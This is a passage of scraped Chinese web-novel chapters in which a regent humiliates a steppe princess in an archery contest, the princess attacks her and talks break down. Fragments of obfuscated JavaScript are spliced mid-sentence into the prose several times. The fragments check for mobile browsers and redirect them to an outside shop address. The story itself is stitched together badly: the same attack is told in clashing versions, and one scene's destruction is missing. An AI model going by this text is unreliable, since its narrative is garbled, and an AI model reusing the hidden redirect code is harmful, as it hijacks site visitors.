0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679951|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起!箭矢离弦的瞬间,弓弦回弹的力道让周围的空气都为之震动。雕翎箭化作一道肉眼几乎难以捕捉的银线,以惊人的速度撕裂寒冷的空气。箭镞破开寒风,带起一道螺旋状的气流,所过之处的雪花纷纷被卷向两侧,形成一条短暂的空洞轨迹。 这一箭的速度快得超乎想象,几乎在声音传来的同时,就已经飞越了百步的距离。在阳光的照射下,箭矢划过一道优美的抛物线,精准得如同经过最精密的计算。就在众人尚未回过神来之际,只听"夺"的一声闷响,箭矢已经精准无比地、狠狠地钉入了远处箭靶的正中心红点! 箭尾的白色羽毛因为巨大的动能而剧烈震颤,发出"嗡嗡"的余韵。这声音在寂静的雪原上回荡,仿佛在诉说着这一箭的威力。箭杆仍在微微颤动,显示着这一箭蕴含的力道何等惊人。若是细看,会发现箭镞已经完全没入靶心,只留下箭杆在外振动。 这一箭的精妙之处不仅在于精准,更在于力道的控制。要知道,在如此远的距离下,箭矢很容易因为风力影响而偏离目标。但赫兰真这一箭,不仅正中红心,而且入木三分,显示出她对力道的精准掌控。更令人惊叹的是,在这样寒冷的天气里,弓弦和箭杆的性能都会受到影响,可她依然能射出如此惊艳的一箭,实在难得。 "好箭法!" "女神箭!" 跟随赫兰真前来观战的数十名蛮族精锐战士,顿时爆发出雷鸣般的喝彩声。他们个个与有荣焉,脸上洋溢着自豪的神色,有些人甚至激动地挥舞着手中的马刀,用草原特有的方式表达对首领的敬佩。 这些草原汉子们深知,在三百步的距离上射中靶心是何等艰难。更何况是在这样风雪刚过的寒冷天气里。赫兰真这一箭,不仅展示了个人高超的箭术,更是向在场的所有人证明了草原儿女的实力。他们欢呼着,跳跃着,用草原语言高唱着赞美的歌谣,整个箭场顿时沸腾起来。 就连一向严肃的北疆将士们,也不由自主地流露出敬佩的神情。虽然立场不同,但对于真正的高手,军人向来是不吝赞赏的。几个年轻的士兵甚至忍不住低声交谈起来,对赫兰真的箭术赞不绝口。只有萧御依旧面色凝重,他看得比旁人更深——这一箭展现的不仅是技艺,更是一种姿态,一种来自草原的自信与力量。 赫兰真缓缓放下长弓,唇角依然带着那抹自信的笑意。她转身望向谢凤卿,琥珀色的眼眸中闪烁着挑战的光芒:"献丑了。接下来,就请摄政王指点指点?" 赫兰真缓缓放下银弓,转身看向一直静立旁观、面色平静的谢凤卿,琥珀色的眼眸中挑衅之意更浓,微微扬起下巴:“摄政王殿下,不试试手吗?也好让我等草原粗人,开开眼界,见识一下中原绝技的精妙。”她特意在“精妙”二字上加重了语气。 第96章本王这微末之技,可还看过眼 谢凤卿闻言,唇角勾起一抹似笑非笑的弧度,那笑意浅淡如水面涟漪,却仿佛蕴藏着深不可测的寒潭。她并未去接身旁侍卫躬身递上的强弓硬**,只是轻轻抬起右手,宽大的玄色袍袖随之滑落,露出一截白皙如玉的手腕。阳光透过雪地反射,照在她腕间,竟泛起一层冷玉般的光泽。她的指间,不知何时已然夹住了三根细如牛毛、长不盈寸的银针,针身在凛冽空气中闪烁着微弱却锐利的寒光,如同冬夜星子,静谧而危险。 那三枚银针看似纤弱,却是用天山玄铁百炼而成,针尖经过特殊打磨,细如麦芒,却可穿透寻常铁甲。针体隐隐泛蓝,显然淬有秘制药液,虽不似见血封喉的剧毒,却能瞬间麻痹经络,或如谢凤卿此刻所用,专破金石之物。她指尖轻捻银针的动作,宛若抚琴般优雅,全然不似要发动雷霆一击。 “雕虫小技,恐难入王女法眼。”她语气淡然,声音不高,却似带着奇异的穿透力,清晰传入在场每个人耳中。这话虽谦,实则暗藏机锋——她选择以银针应对赫兰真的强弓,本身就是一种无声的宣示:中原武学之精微,远非草原蛮力可及。 赫兰真瞳孔微缩,紧盯着那三枚细针。她自幼**箭,深知弓弦之力可开山裂石,却从未见过有人以这般纤巧之物作为主战兵器。一股莫名的不安悄然涌上心头,但她仍强自镇定,嘴角倔强地抿起,倒要看看这银针有何能耐。 话音未落,谢凤卿手腕已看似随意地一抖!动作轻灵飘逸,不带丝毫烟火气,仿佛只是拂去袖间落雪。然而就在这举重若轻的一刹那,三道比箭矢破空声细微得多、却更加尖锐刺耳的厉啸骤然响起!那声音如同冰锥划破琉璃,瞬间刺破雪原的寂静。 银光离弦,并非直射靶心,而是划出三道肉眼难以捕捉的诡异弧线,仿佛拥有生命般,在空中交织、旋转,目标直指——赫兰真那支依旧深深钉在靶心、兀自颤动不休的箭矢!阳光在针尖折射出点点寒星,轨迹飘忽如鬼魅,竟让人无法预判其落点。 这一手“三星追月”的暗器手法,乃是中原暗器绝学中极高深的境界。要求发射者同时掌控三枚暗器的力道、角度与旋转,使它们在空中相互呼应,最终汇聚于一点。非有数十年精纯内力与精准眼力不能为。谢凤卿年纪轻轻竟已臻此境,着实令人骇然。 “噗!噗!噗!” 三声极其轻微、几乎细不可闻的闷响几乎同时传来!那声音细微如雪粒坠地,却在众人耳中不啻惊雷。 在所有人惊骇欲绝的目光注视下,赫兰真那支以百年铁木为杆、寒铁为簇的箭矢,发生了不可思议的变化——第一枚银针精准命中箭簇与箭杆的连接处,那本是箭矢最坚韧的部位,却如同脆弱的冰晶般被瞬间击出细微裂痕;几乎同一瞬间,另外两枚银针一左一右,沿着那裂痕切入,针身高频震颤,竟似无形利刃,硬生生将箭杆从中间整整齐齐地劈成了均匀的两半!裂开的箭杆无力地向两旁歪倒,最终从靶心上脱落,“啪嗒”两声,掉落在洁白的雪地上,那抹红色箭翎在雪中显得格外刺眼。 更令人心惊的是,三枚银针在完成这惊世一击后,竟余势不衰,深深钉入箭靶红心之上,呈品字形排列,针尾兀自微微颤动,发出极轻微的“嗡嗡”声,仿佛在宣告着一种超越蛮力的精确与控制。 静! 死一般的寂静! 偌大的箭场上,只剩下寒风掠过旌旗的猎猎声响,以及众人粗重压抑的呼吸声。 北疆将士们瞠目结舌,有人下意识地揉了揉眼睛,难以置信地望着那被剖成两半的箭矢。他们久经沙场,见过刀剑劈砍,见过箭矢穿喉,却从未见过如此精妙绝伦、近乎艺术的破坏方式。这已非武技,近乎道矣。 赫兰真僵立原地,脸颊上的血色瞬间褪去。她清晰地感觉到,自己的指尖在微微发冷。这一手银针之术,不仅精准地劈开了她的箭,更仿佛一柄无形重锤,狠狠砸在了她引以为傲的草原箭术根基之上。她忽然想起部落长老曾感叹:“中原武学,诡秘深邃,有时**不见血,诛心为上。”今日,她终得亲身体会。 萧御站在谢凤卿侧后方,眼底深处掠过一丝极复杂的情绪——有惊叹,有欣慰,也有一丝难以言喻的凝重。他深知,谢凤卿露这一手,既是震慑赫兰真,又何尝不是向所有北疆将士展示她深不可测的实力?这位年轻摄政王的锋芒,平日里藏于鞘中,一旦出鞘,便是石破天惊。 谢凤卿缓缓垂下手,袖袍重新遮掩住手腕,神情依旧平静无波,仿佛刚才只是做了一件微不足道的小事。她目光扫过雪地上那两半残箭,最终落回赫兰真脸上,淡淡问道:“王女以为,本王这微末之技,可还看得过眼?” 风卷雪沫,掠过众人衣袂。一场箭术切磋,已悄然演变为两种文明、两种力量哲学的无声交锋。而谢凤卿以三根银针,在这北疆雪原上,划下了一道清晰而冰冷的界限。 ? 无论是之前还在喝彩的蛮族战士,还是这边的将领士兵,所有人都瞪大了眼睛,张大了嘴巴,如同被施了定身咒一般,难以置信地看着那掉落在地、已经成为废柴的两片箭矢残骸! 这需要何等精准的眼力?何等恐怖的控制力?何等深厚的内力?那轻飘飘的银针,在谢凤卿手中,竟比强弓硬**射出的利箭还要可怕! 赫兰真脸上的自信笑容瞬间凝固,如同上好的瓷器表面被无形之力击出细密蛛网,每一道裂痕都刻着难以置信的惊骇。她那双琥珀色的眼眸中,原本燃烧着草原烈火般的自信,此刻却如同被冰水浇灭的炭火,只余死灰与青烟。瞳孔猛地收缩成两点寒星,倒映着雪地上那被整齐劈成两半的箭矢——她视若生命的狼牙箭,竟在对方轻描淡写的银针之下,如此不堪一击! 她握着银弓的手指因过度用力而指节泛白,手背上青筋突起,仿佛要将弓身捏碎。虎口处昔日练箭磨出的厚茧此刻传来阵阵刺痛,却远不及心中翻江倒海的羞耻与愤怒。身体几不可察地微微颤抖了一下,那是一种从骨髓深处渗出的寒意,混合着被当众彻底挫败的巨大冲击。她能感觉到身后族人们投来的目光,那些原本充满崇拜与信任的眼神,此刻似乎都带上了质疑的锋芒,刺得她背脊生疼。 震惊、难以置信、以及一丝被当众撕碎尊严的羞恼,如同北疆寒冬的暴风雪,瞬间淹没了她的理智。脑海中闪过部落长老们殷切的嘱托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687723|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想起自己肩负着三千狼骑与他们的家眷的未来,而此刻,所有的谋划与希望,似乎都随着那支被劈开的箭矢,碎成了两半。 就在这心神剧震的刹那,异变突生! 或许是被这前所未有的挫败感激起了血脉中蛰伏的狼性,或许是骨子里那份不容侵犯的草原王女的骄傲在作祟,赫兰真眼中骤然闪过一抹近乎疯狂的厉色!那是一种被逼入绝境的野兽才会露出的凶光,摒弃了权衡与克制,只剩下最原始的反击本能。 她几乎是凭借肌肉记忆,以快得惊人的速度再次张弓搭箭!整套动作行云流水,甚至比之前展示箭术时更加迅猛凌厉,仿佛将所有的愤怒、不甘和**都灌注于这一箭之中。弓弦因瞬间爆发的巨力而发出哀鸣,而那闪烁着幽冷寒光的箭尖,不再是瞄准远处冰冷的箭靶,而是直指——站在她对面的、那个刚刚以绝对姿态碾压了她的谢凤卿! “王爷小心!” 萧御的厉喝如同惊雷炸响。他始终如同最警惕的猎鹰,密切关注着赫兰真的一举一动,在她眼神由惊骇转为疯狂的瞬间便已察觉不对。声音未落,他身形已如离弦之箭般暴起,腰间那柄伴随他征战多年的佩剑“铿”然出鞘半尺,一抹寒光乍现,冰冷的剑气仿佛让周围的温度都骤降几分。他意图抢上前去,用身体格挡在那致命的箭矢与谢凤卿之间。 然而,就在萧御动身的同时,一道身影比他更快! 那并非冲向赫兰真,也并非挡在谢凤卿身前。只见谢凤卿身旁那位一直沉默如影、身着灰色劲装的亲卫,在赫兰真肩臂肌肉刚刚绷紧、箭矢尚未完全离弦的千钧一发之际,右手看似随意地一拂袍袖。一道微不可见的乌光悄无声息地激射而出,并非袭向赫兰真,而是精准无比地击中了赫兰真手中强弓的弓弰(弓臂末端)! “啪!” 一声轻微的脆响,并非金石交击的巨响,却让赫兰真感觉弓身上传来一股奇特的旋转巧劲。她紧扣弓弦的三指不由得一麻,原本蓄势待发、瞄准谢凤卿心口的一箭,轨迹被硬生生带偏。箭矢依旧离弦而出,却带着尖锐的破空声,擦着谢凤卿的玄色袍袖边缘掠过,“夺”地一声,深深钉入后方不远处的一根营帐支柱上,箭尾兀自剧烈颤动,发出令人心悸的嗡鸣。 整个场面在瞬间凝固。北疆将士们这才反应过来,顿时一片哗然,刀剑出鞘之声不绝于耳,无数道目光如同利刃般射向赫兰真及其随从。蛮族战士们也立刻收缩阵型,将赫兰真护在中心,双方刚刚有所缓和的气氛,骤然变得剑拔**张,仿佛一点火星就能引爆整个雪原。 赫兰真怔怔地看着自己微微发麻的手指,又看向那支偏离目标、钉在木桩上的箭,眼中的疯狂厉色如潮水般退去,取而代之的是一种茫然的空洞。她似乎不敢相信自己方才做了什么——她,赫兰真,草原上以荣耀为生命的王女,竟在公平比试落败后,失控地向对方首领放出了冷箭? 一阵刺骨的寒风吹过,卷起地上的雪沫,拍打在她的脸上,冰冷的触感让她猛地一颤,彻底清醒过来。她意识到,自己刚才的冲动,不仅可能彻底葬送和谈的希望,更将玷污草原儿女最珍视的信义与荣誉。 第97章北疆女神?不过如此! 谢凤卿依旧站在原地,从赫兰真突然发难到箭矢被带偏,她甚至连眉头都未曾皱一下。此刻,她平静的目光掠过钉在木桩上的箭矢,最终落回到赫兰真苍白失色的脸上,玄色袍袖在风中轻轻摆动,方才那惊险一幕,仿佛只是拂过了一丝微不足道的清风。 赫兰真能清晰地听到自己心脏狂跳的声音,如同战鼓般擂动着她的耳膜。脸颊上如同有火焰在灼烧,那是羞耻的温度。她不敢去看谢凤卿的眼睛,那双平静无波的眼眸,此刻在她感受中,比任何愤怒的斥责都更具穿透力,仿佛能直视她内心最不堪的角落。 她引以为傲的镇定与气度,在绝对的实力差距和突如其来的挫败感面前,竟然如此脆弱,不堪一击。这让她感到一种深刻的自我厌恶。她想起离开王庭时,兄长赫兰芎紧握她的手,沉声叮嘱:“真儿,此去非同小可,你的每一个决定,都关乎我族存续。遇事需冷静,切不可逞一时之勇,堕了我云真族的威名。” 而此刻,她不仅逞了匹夫之勇,更是做出了背后伤人的卑劣行径,尽管未遂,但其意已显。这如何对得起兄长的信任,如何对得起追随她离开故土的三千狼骑? 萧御的剑已完全出鞘,横亘身前,剑尖遥指赫兰真,眼神冷冽如万载寒冰,声音更是带着毫不掩饰的杀意:“赫兰真!你竟敢暗箭伤人!当我北疆大营无人否?”他身后的将士们齐声怒吼,声浪震天,雪地仿佛都在为之震颤。 赫兰真身后的蛮族勇士们虽然依旧护着她,但不少人脸上也流露出惊疑与不安的神色。他们崇尚勇武,敬重英雄,但更看重公平与光明磊落。王女方才的举动,显然有违草原勇士的信条。 就在这时,谢凤卿缓缓抬起手,轻轻向下压了压。只是一个简单的手势,原本群情激愤的北疆将士们竟奇迹般地迅速安静下来,只剩下寒风卷动旌旗的猎猎声响。这份如臂使指的掌控力,再次深深震撼了赫兰真。 谢凤卿的目光依旧停留在赫兰真身上,终于开口,声音平和,却带着一种不容置疑的力量:“王女,胜负已分。莫非……还想再试一次?” 这句话语气平淡,听不出丝毫怒意,却像一记重重的耳光,扇在赫兰真的脸上。她猛地抬头,对上谢凤卿的目光,在那双深不见底的眼眸中,她看不到嘲讽,看不到轻视,只看到一种洞悉一切的平静,仿佛早已看穿她内心的挣扎与脆弱。 这种平静,比任何暴怒都更让赫兰真无地自容。 面对那直指自己面门、充满杀意的箭矢,谢凤卿非但没有后退闪避,反而迎着箭尖踏前了一小步!她的脸上没有任何惊慌,只有一片冰封的冷冽。在她抬手的瞬间,众人只觉眼前一花,似乎有更细微的银芒从她袖中一闪而逝! “铮——!” 一声更加清脆刺耳,如同金铁交击的爆鸣炸响! 赫兰真射出的那支饱含愤怒、**与全部力量的箭矢,撕裂空气,带着尖锐的呼啸声,如同一道复仇的闪电,直刺谢凤卿的面门。箭簇上凝结的寒光,映照着赫兰真眼中尚未褪去的疯狂与决绝。这一箭,已然超出了比试的范畴,成了尊严被碾碎后的本能反击。 然而,就在箭尖距离谢凤卿面门尚有数尺之遥的半空中,异变陡生! 那支势在必得的箭矢,仿佛突然撞上了一堵无形无质、却坚不可摧的铜墙铁壁,猛地停滞不前!巨大的动能被瞬间抵消,箭杆因承受不住这突兀到极致的阻力,发出一阵令人牙酸的“嘎吱”声,随即,光滑的木质表面以肉眼可见的速度,瞬间布满了密密麻麻、如同蛛网般的裂痕! 下一刻,在无数道惊骇目光的注视下,箭矢“嘭”地一声巨响,当空彻底碎裂开来!坚硬的木杆化作齑粉,精铁打造的箭簇也崩解成无数碎片,混合在一起,簌簌落下,如同在谢凤卿身前下了一场带着死亡气息的“黑色碎雪”。一些细小的碎屑被寒风卷起,飘落在洁白的雪地上,形成刺眼的斑痕。 这诡异而震撼的一幕,超出了绝大多数人的理解范畴。没有金铁交鸣,没有气劲碰撞,那支凝聚了草原王女全力一击的利箭,就这么凭空碎裂,仿佛被一只无形的巨手硬生生捏爆。 而几乎就在箭矢碎裂的同一瞬间—— “呜——嗡——!” 一阵低沉、威严、浑厚,如同洪荒巨兽从沉睡中苏醒发出的咆哮,自遥远的天际滚滚而来!这声音初时沉闷,旋即迅速变得高亢、尖锐,蕴含着无与伦比的毁灭力量,震得人耳膜生疼,心脏都不由自主地随之震颤。甚至连脚下的大地,都似乎在这恐怖的声浪中微微颤动。 所有人,无论是北疆将士还是蛮族勇士,都下意识地、带着惊惧望向声音来源的方向。只见大营侧后方,依托坚固港口建造的庞大水寨处,一艘庞大如山岳的巨舰,不知何时已经悄无声息地调整了方向。 那正是大燕王朝镇守北疆水道的终极利器——火龙炮舰!舰体由厚重的铁力木与钢板混合打造,黝黑的船身犹如一座移动的钢铁堡垒,充满了压迫感。最为骇人的,是舰首那尊需要数人合抱的巨型火龙炮!黑洞洞的炮口,如同深渊巨兽张开的血盆大口,此刻正清晰地、准确无误地对准了箭场上赫兰真所站立的位置! 阳光照射在冰冷、粗壮的暗金属炮管上,反射出幽冷而毫无生气的光泽,那是纯粹为杀戮而生的死亡光泽。炮身之上,雕刻着的那颗狰狞龙头,獠牙毕露,眼神凶戾,仿佛下一刻就要喷吐出焚尽一切的烈焰。一股冰冷、粘稠、如同实质般的杀意,如同自北冥吹来的寒潮,瞬间笼罩了整个箭场,渗透进每一个人的骨髓深处。空气仿佛都凝固了,令人窒息。 赫兰真脸上所有的血色顷刻间褪得干干净净,煞白如纸。她握着那张已然空弦的狼头弓,呆立当场,先前所有的愤怒、不甘、羞恼,在这一刻,被一种更原始、更纯粹的情绪所取代——那是面对绝对力量、无法抗衡的毁灭性武器时,源自生命本能的恐惧。 她的手指冰凉,甚至无法感受到弓身熟悉的纹路。身体僵硬,唯有瞳孔在剧烈颤抖,倒映着远方那尊代表了这个时代最高杀戮效率的战争机器。她引以为傲的神箭,在那巨大的炮口面前,显得如此渺小、可笑。个人的勇武,百步穿杨的技艺,在能够将一艘战船、一段城墙瞬间化为齑粉的火龙炮面前,轻飘飘地失去了所有重量。 她甚至能想象出,下一刻,炮弹呼啸而出,将她连同周围的一片土地彻底从世界上抹去的恐怖景象。这种力量层次的差距,已经超出了她所能理解的范畴,这是一种令人绝望的降维打击。 谢凤卿站在原地,身形未曾移动分毫。玄色衣袍在方才箭矢爆碎产生的微弱气浪扰动下,衣袂微微拂动,更衬得她稳如磐石。她缓缓放下那只或许刚刚施展了某种不为人知手段的右手,目光平静地转向脸色煞白、失魂落魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694250|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的赫兰真。 她的眼神深邃,看不到胜利者的得意,也看不到被袭击后的愤怒,只有一片深不见底的平静。然而,正是这种极致的平静,在这种情境下,却散发出比任何怒吼都更令人心悸的威严。 她开口,语气平淡得听不出丝毫情绪起伏,每一个字却都像是一块万载寒冰,砸在赫兰真心头,冷彻骨髓: “王女觉得,是你的神箭快,还是本王麾下这火龙炮的炮弹快?” 她微微停顿,目光扫过赫兰真手中那张曾经象征着她荣耀、此刻却显得无比苍白的弓,继续问道,声音不高,却清晰地传遍死寂的箭场,也传入了每一个蛮族战士的耳中: “个人的勇武,在真正的战争机器面前,孰强孰弱?” 这是一个无需回答的问题。火龙炮那沉默的炮口,赫兰真脚下那摊黑色的箭矢碎屑,已经给出了最冰冷、最残酷,也最真实的答案。 赫兰真张了张嘴,却发不出任何声音。她手中的狼头弓,第一次变得如此沉重,几乎要脱手坠落。她输了,输得一败涂地,不仅仅是箭术,更是心态、格局,以及对力量认知的全面溃败。北疆女神的光环,在钢铁巨舰和绝对权力的映照下,黯然失色。 短暂的死寂之后,是被深深羞辱和震撼的将士们爆发出震天动地的怒吼与咆哮: “王爷神威!!” “北疆女神?不过如此!!” 声浪如潮,几乎要掀翻整个天空!蛮族战士们则个个面如土色,下意识地握紧了武器,围拢到赫兰真身边,如临大敌。 赫兰真站在原地,身体僵硬,握着银弓的手指微微颤抖。她看着地上那摊箭矢的碎片,又抬头看了看远处那艘威慑力十足的火龙炮舰,最后目光落在对面那个依旧平静得可怕的玄色身影上,一种前所未有的无力感和巨大的**感,如同毒蛇般噬咬着她的心。这一箭,不仅未能挽回颜面,反而结下了难以化解的梁子。 大营中央的广场上,那座由能工巧匠耗费无数心血雕琢而成、象征着权力平衡与王朝未来希望的冰火龙椅,依旧在阳光下熠熠生辉,冰晶与内嵌的红色晶石交织出梦幻般的光彩。但与往日完美无瑕的状态不同,有心人仔细观察便会发现,今日的龙椅靠背与底座连接的细微之处,出现了一道此前并不存在的、如同发丝般纤细却异常清晰的裂痕。 赫兰真在一种极度压抑和复杂的心绪中,被引到了这座象征着大燕统治权威的冰雕前。她站在冰雕前,仰头望着这巧夺天工的艺术品,神色变幻不定,琥珀色的眼眸中闪烁着复杂难明的光芒,有惊叹,有嫉妒,有不屑,更有一种难以言喻的愤怒。 “这就是传说中,象征着大燕摄政王与监国共同治理天下,寓意着冰火相济、王朝永固的冰火龙椅?”她的声音带着一丝不易察觉的嘲讽,目光扫过那精美的雕工。 “正是。”谢凤卿走到她身侧停下,与她一同仰望这尊冰雕,声音平静,“它不仅仅是一件艺术品,更象征着这个王朝的未来走向,以及……本王与监国共同守护这片土地的决心。” “未来?”赫兰真嗤笑一声,那笑声在寒冷的空气中显得格外刺耳,“一个依靠强迫和武力维持的、表面统一实则内部充满裂痕的未来吗?就像这道裂痕,”她伸手指向冰龙椅上那道细微的瑕疵,语气尖锐,“看似微小,但只需轻轻一推,或许就会彻底崩碎。” 第98章但有异动,立刻来报! 谢凤卿眉头微不可察地蹙了一下,刚想开口。 却见赫兰真仿佛被某种情绪驱使,突然伸出手,并非轻轻抚摸,而是将手掌直接按在了那道裂痕所在的位置!她的眼中闪过一丝决绝和破坏的欲望! “赫兰真!你要做什么?!”萧御一直密切关注着她的举动,见状厉声喝道,长剑瞬间完全出鞘,雪亮的剑锋直指赫兰真!周围侍卫也立刻紧张起来,刀剑齐出! 但谢凤卿再次抬手,制止了所有人的动作。她的目光紧紧盯着赫兰真按在冰雕上的手,眼神深邃如同寒潭。 赫兰真回头,看了谢凤卿一眼,那眼神复杂难明,有挑衅,有悲凉,更有一种破釜沉舟的疯狂。 “赫兰真!”萧御的声音中充满了无法抑制的怒火,剑尖几乎要触及赫兰真的咽喉!此举,形同宣战! 谢凤卿抬手,轻轻按下了萧御持剑的手臂。她看着那堆碎裂的冰块,眼神深处掠过一丝极淡的痛惜,但更多的是一种洞悉一切的冷静。她的语气异常平静,甚至带着一丝探究:“王女,这是何意?” 赫兰真缓缓收回手,看着自己通红的掌心,仿佛也才从自己造成的破坏中回过神来,但她很快又挺直了脊梁,目光如淬毒的**般射向谢凤卿,一字一句,清晰无比地说道: “北疆与大燕,就像这尊冰雕。”她的声音带着一种近乎残忍的冷静,“要么完整无缺地融为一体,要么就彻底破碎,各归各位。没有中间之路,没有所谓的‘有限自治’!” 她向前一步,无视近在咫尺的剑锋,紧紧盯着谢凤卿的眼睛,语气斩钉截铁,带着草原王女不容置疑的威严:“我要的自治,不是请求,是要求!是北疆草原赋予我和我的族人的、天生的权利!” 谈判彻底破裂,气氛已然无法挽回。 夕阳西下,将无垠的雪原染成一片凄艳的血红色,仿佛预示着即将到来的流血与冲突。赫兰真率领着她那数十名精锐部下,沉默地整理着马鞍和行装,准备离开大营。空气中弥漫着一种悲壮而决绝的气息。 赫兰真翻身上马,握紧了手中的银弓。夕阳的余晖勾勒出她侧脸坚毅而冰冷的线条。她勒转马头,面向站在营门前的谢凤卿和萧御,琥珀色的眼眸在血色光影中,显得格外深邃难测。 “谢凤卿,萧御。”她直呼其名,不再使用任何敬称,“今日一别,他日若在战场相见,我赫兰真,绝不会手下留情!草原的狼,永远不会向囚笼低头!” 谢凤卿站在营门前,身影在落日拉长的余晖中显得格外挺拔,也格外孤寂。她看着马背上那个如同火焰般炽烈而倔强的女子,声音清晰而坚定地穿透暮色:“赫兰真,你也记住。北疆,是大燕的北疆。若你执意掀起战乱,祸及边民,我谢凤卿,必亲率王师,踏平草原,平定叛乱!” 赫兰真深深地看了她一眼,那眼神复杂得如同此刻天际变幻的云霞,有愤怒,有不甘,或许,还有一丝极其隐晦的、连她自己都未曾察觉的别样情绪。她忽然猛地一夹马腹,策马向前冲了几步,在距离谢凤卿仅有咫尺之遥的地方猛地停住,马蹄溅起的雪沫几乎要扑到谢凤卿的衣袍上。 她俯视着谢凤卿,用只有两人能听清的音量,咬牙道:“记住,今日,是你亲手拒绝了和平!拒绝了草原的友谊!” 说罢,她不再停留,猛地调转马头,银弓在空中划出一道冷冽的弧光。 “我们走!” 她一马当先,红色披风在身后猎猎狂舞,如同燃烧的复仇之火,率领着部下,绝尘而去,很快便化作天地相接处的一串小黑点,最终消失在血色弥漫的暮色之中。 萧御走到谢凤卿身边,望着远方扬起的雪尘,低声道:“她这一去,必成心腹大患。要不要……我派人去半路……”他的话没有说完,但意思不言而喻。 “不必。”谢凤卿收回目光,语气斩钉截铁,“让她去。北疆积累的矛盾和乱局,就像一颗脓疮,总要有个机会彻底捅破,挤出脓血,才能获得真正的新生。强行留下她,或者暗中下手,只会让矛盾激化,让北疆各部同仇敌忾。” 就在这时,一名身着普通百姓服饰,但行动矫健利落的侍卫匆匆从侧面赶来,单膝跪地,压低声音禀报:“王爷,监国,查清楚了。根据内线最新传回的情报,以萧景明余党为首的宗室残存势力,在得知赫兰真有意投诚后,便暗中派人与之接触,许以重利,并散布谣言,极力挑拨她与朝廷的关系,怂恿她提出苛刻的自治条件,其目的,就是要在北疆再开战端,好让他们有机可乘。” 谢凤卿闻言,唇角勾起一抹冰冷的、早已洞悉一切的弧度:“果然如此。我就说,以赫兰真的骄傲,即便要谈条件,也不至于如此不留余地,原来背后真有宵小作祟。”宗室这些人,为了争权夺利,竟不惜引外族为援,祸乱边疆,其心可诛! 她转身,缓步走向广场中央那堆已然毫无形状可言的冰雕碎片。俯下身,伸出带着鹿皮手套的手,从一堆碎冰中,拾起了一块相对完整、内里还镶嵌着一小片红色晶石的冰块。冰冷的寒意透过手套传来,那块冰在她掌心,因为体温而开始慢慢融化,冰水沿着她的指缝滴落,如同这个多灾多难、内忧外患的王朝,正在经历的、无比艰难而痛苦的蜕变与阵痛。 “传令下去。”谢凤卿站起身,声音恢复了往日的冷静与威严,带着不容置疑的力量,“北疆各边关要塞,即日起进入二级战备状态,加强巡逻与警戒,密切监视草原各部动向,尤其是赫兰真及其麾下狼骑的踪迹。但有异动,立刻来报!” “是!”身旁的传令官立刻领命。 “另外,”谢凤卿顿了顿,补充了一道让周围人都感到有些意外的命令,“派一队‘幽影卫’的好手,暗中潜入草原,远远跟着赫兰真一行,密切关注她的动向,以及……确保她的安全,至少在回到她的部落之前,不要让她被宗室的人灭口,或者遭遇其他不测。” 萧御眼中闪过一丝诧异:“保护她?她刚刚才……”他看向那堆碎冰,意思不言而喻。 谢凤卿的目光再次投向赫兰真消失的 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萧御默默走到她身后,没有说话,只是用自己的方式,传递着无声的支持与温暖。 谢凤卿没有回头,依旧望着漆黑的夜空,轻声开口,那声音很轻,却带着一种斩钉截铁的、仿佛立誓般的坚定:“北疆若再乱,我来平。” 萧御伸出手,轻轻握住了她有些冰凉的手,将掌心的温度传递过去。他的动作自然而坚定。 “我陪你。” 简单的三个字,没有任何华丽的辞藻,没有山盟海誓的夸张,却重若千钧,蕴含着无限的信任、支持与并肩作战的决心。在这个危机四伏、前路未卜的动荡夜晚,这份沉默而坚定的承诺,显得尤为珍贵,如同暗夜中的灯塔,温暖而令人安心。 史官在厚重的史册上,用工整而庄重的笔触,郑重记录下这注定要载入史册的一天:“永和七年,正月廿八,蛮族王女赫兰真来投,因自治之议不合,箭场较技,一箭结仇。象征王朝冰火共济之龙椅碎裂,北疆再乱,始见端倪。然摄政王胸怀天下,眼光长远,既备征伐之武,亦存仁恕之心,遣卫护敌,格局非凡。” 而此时此刻,远在北疆茫茫雪原之上,正在连夜赶路返回部落的赫兰真,却忽然毫无征兆地勒住了马缰。她回过头,望向大营的方向。相隔数十里,自然什么也看不到,只有无尽的黑暗和呼啸的寒风。但她的眼前,却仿佛再次浮现出那个玄衣如玉、冷静得近乎冷酷的身影。 “谢凤卿……”她轻声念着这个名字,琥珀色的眼眸在夜色中闪烁着极其复杂、连她自己都无法完全解读的光芒。有挫败的愤怒,有不甘的倔强,有对强大对手的忌惮,或许,还有一丝极其细微的、被她强行压下的、对于另一种可能性的……茫然。 今夜,这两个分别代表着两种文明、两种意志的杰出女子,在这北疆风雪之中,因这一箭,命运轨迹彻底改变,纠缠在了一起。而北疆广袤草原的未来,也因此被投入了更多复杂的变量,蒙上了一层更加浓厚、更加难以预测的迷雾。 第99章肩上的担子,似乎比出征时更重了 